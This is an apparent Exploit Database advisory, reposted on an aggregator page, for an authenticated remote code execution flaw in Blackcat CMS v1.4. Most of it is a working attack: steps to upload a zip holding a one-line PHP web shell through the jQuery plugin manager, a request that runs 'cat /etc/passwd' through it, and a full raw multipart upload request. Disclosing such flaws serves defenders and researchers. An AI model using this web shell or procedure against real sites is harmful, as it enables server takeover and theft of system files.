Blackcat Cms v1.4 – Remote Code Execution (RCE)

• Exploit Database
• 16 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-07-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51605/

• Exploit Title: Blackcat Cms v1.4 - Remote Code Execution (RCE)
  Application: blackcat Cms
  Version: v1.4
  Bugs:RCE
  Technology: PHP
  Vendor URL: https://blackcat-cms.org/
  Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS
  Date of found: 13.07.2023
  Author: Mirabbas Ağalarov
  Tested on: Linux 
  
  
  2. Technical Details & POC
  ========================================
  steps: 
  1. login to account as admin
  2. go to admin-tools => jquery plugin (http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr)
  3. upload zip file but this zip file must contains poc.php 
  poc.php file contents 
  <?php $a=$_GET['code']; echo system($a);?>
  4.Go to http://localhost/BlackCatCMS-1.4/upload/modules/lib_jquery/plugins/poc/poc.php?code=cat%20/etc/passwd
  
  Poc request
  
  POST /BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr HTTP/1.1
  Host: localhost
  Content-Length: 577
  Cache-Control: max-age=0
  sec-ch-ua: 
  sec-ch-ua-mobile: ?0
  sec-ch-ua-platform: ""
  Upgrade-Insecure-Requests: 1
  Origin: http://localhost
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBRByJwW3CUSHOcBT
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: navigate
  Sec-Fetch-User: ?1
  Sec-Fetch-Dest: document
  Referer: http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: cat7288sessionid=7uv7f4kj7hm9q6jnd6m9luq0ti
  Connection: close
  
  ------WebKitFormBoundaryBRByJwW3CUSHOcBT
  Content-Disposition: form-data; name="upload"
  
  1
  ------WebKitFormBoundaryBRByJwW3CUSHOcBT
  Content-Disposition: form-data; name="userfile"; filename="poc.zip"
  Content-Type: application/zip
  
  PKvalsdalsfapoc.php<?php 
  $a=$_GET['code']; 
  echo system($a);
  ?>
  blabalaboalpoc.php
  blablabla
  ------WebKitFormBoundaryBRByJwW3CUSHOcBT
  Content-Disposition: form-data; name="submit"
  
  Upload
  ------WebKitFormBoundaryBRByJwW3CUSHOcBT--